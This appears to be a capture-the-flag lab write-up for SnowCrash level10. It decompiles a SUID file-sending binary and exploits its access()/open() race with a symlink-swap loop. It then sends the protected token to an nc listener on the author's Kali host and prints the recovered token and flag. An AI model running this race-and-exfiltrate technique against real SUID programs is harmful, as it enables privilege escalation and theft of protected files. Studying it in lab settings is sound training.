Level10

Two files are present is present in home directory of the `level10` user witch are a binary named `level10` and a `token` file. The `token` file is not readable. The **SUID** bit is set on the `level10` binary and owner is user `flag10` on both files.

Tests

- Launching the `level10` binary outputs:

```
level10@SnowCrash:~$ ./level10
./level10 file host
        sends file to host if you have access to it
```

- Launching the `level10` binary with the `token` file as first argument and `127.0.0.1` as second argument outputs:

```
level10@SnowCrash:~$ ./level10 token 127.0.0.1
You don't have access to token
```

- Launching the `level10` binary as previously with a file owned by us outputs:

```
level10@SnowCrash:~$ touch /tmp/file
level10@SnowCrash:~$ echo "ouh" > /tmp/file
level10@SnowCrash:~$ ./level10 /tmp/file 127.0.0.1
Connecting to 127.0.0.1:6969 .. Unable to connect to host 127.0.0.1
```

- Setting up a `nc` listener on port `6969` of our host machine and launching the `level10` binary with a file owned by us and our host IP successfully sends the content of our file to our listener.

```
level10@SnowCrash:~$ ./level10 /tmp/file 192.168.122.97
Connecting to 192.168.122.97:6969 .. Connected!
Sending file .. wrote file!
```

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 6969
listening on [any] 6969 ...
connect to [192.168.122.97] from (UNKNOWN) [192.168.122.104] 51879
.*( )*.
ouh
```

Passing the file to **Ghidra's** code browser let's us observe the `main()` function's contents.

```
int main(int argc,char **argv)
{
  char *__cp;
  uint16_t uVar1;
  int iVar2;
  int iVar3;
  ssize_t sVar4;
  size_t __n;
  int *piVar5;
  char *pcVar6;
  int in_GS_OFFSET;
  char *file;
  char *host;
  int fd;
  int ffd;
  int rc;
  char buffer [4096];
  sockaddr_in sin;
  undefined local_1024 [4096];
  sockaddr local_24;
  int local_14;

  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  if (argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n",*argv);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  pcVar6 = argv[1];
  __cp = argv[2];
  iVar2 = access(argv[1],4);
  if (iVar2 == 0) {
    printf("Connecting to %s:6969 .. ",__cp);
    fflush(stdout);
    iVar2 = socket(2,1,0);
    local_24.sa_data._2_4_ = 0;
    local_24.sa_data._6_4_ = 0;
    local_24.sa_data._10_4_ = 0;
    local_24._0_4_ = 2;
    local_24.sa_data._2_4_ = inet_addr(__cp);
    uVar1 = htons(0x1b39);
    local_24._0_4_ = local_24._0_4_ & 0xffff | (uint)uVar1 << 0x10;
    iVar3 = connect(iVar2,&local_24,0x10);
    if (iVar3 == -1) {
      printf("Unable to connect to host %s\n",__cp);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    sVar4 = write(iVar2,".*( )*.\n",8);
    if (sVar4 == -1) {
      printf("Unable to write banner to host %s\n",__cp);
```

```
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    printf("Connected!\nSending file .. ");
    fflush(stdout);
    iVar3 = open(pcVar6,0);
    if (iVar3 == -1) {
      puts("Damn. Unable to open file");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    __n = read(iVar3,local_1024,0x1000);
    if (__n == 0xffffffff) {
      piVar5 = __errno_location();
      pcVar6 = strerror(*piVar5);
      printf("Unable to read from file: %s\n",pcVar6);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    write(iVar2,local_1024,__n);
    iVar2 = puts("wrote file!");
  }
  else {
    iVar2 = printf("You don\'t have access to %s\n",pcVar6);
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar2;
}
```

The important thing to notice is that `access` function is called first. Then the file is opened and sent to the host trough a **socket** on port `6969`.

The check is done using the calling process's real UID and GID, rather than the effective IDs as is done when actually attempting an operation so access will fail since the token file is accessible only by the `flag10` user.

The attack

The trick here is to take advantage of a security issue known with access. We can read about it in then man page:

```
Warning: Using these calls to check if a user is authorized to, for example,
open a file before actually doing so using open(2) creates a security hole,
because the user might exploit the short time interval between checking and
opening the file to manipulate it. For this reason, the use of this system
call should be avoided.
```

If we run a while loop that continuously creates a accessible `token` file, then removes it and creates a **symlink** to the original token file present in the home directory, we will be able to **swap** the file after `access` succeeds and **before the call** to `open` is made.

Note that `open` uses the effective UID so since the **SUID** bit is set, it will be able to open the `token` file owned by `flag10` user.

We also need to run a loop that continuously launches our `level10` binary and another loop that continuously launches a **listener** on our host.

SnowCrash first TTY

```
level10@SnowCrash:~$ while [ True ]; do rm /tmp/token && touch /tmp/token && rm /tmp/token && ln -s $PWD/token /tmp/token; done;
```

SnowCrash second TTY

```
level10@SnowCrash:~$ while [ True ]; do ./level10 /tmp/token 192.168.122.97; done;
```

Our machine TTY

```
┌──(kali㉿kali)-[~]
└─$ while [ True ]; do nc -lvnp 6969; done;
listening on [any] 6969 ...
connect to [192.168.122.97] from (UNKNOWN) [192.168.122.104] 51822
.*( )*.
listening on [any] 6969 ...
connect to [192.168.122.97] from (UNKNOWN) [192.168.122.104] 51822
.*( )*.

... SNIP ...

listening on [any] 6969 ...
connect to [192.168.122.97] from (UNKNOWN) [192.168.122.104] 51824
.*( )*.
woupa2yuojeeaaed06riuj63c
```

After a couple of tries, we have successfully received the contents of the `token` file, log in as the `flag10` user and launch the `getflag` command.

```
level10@SnowCrash:~$ su flag10
Password:
Don't forget to launch getflag !
flag10@SnowCrash:~$ getflag
Check flag.Here is your token : feulo4b72j7edeahuete3no7c
```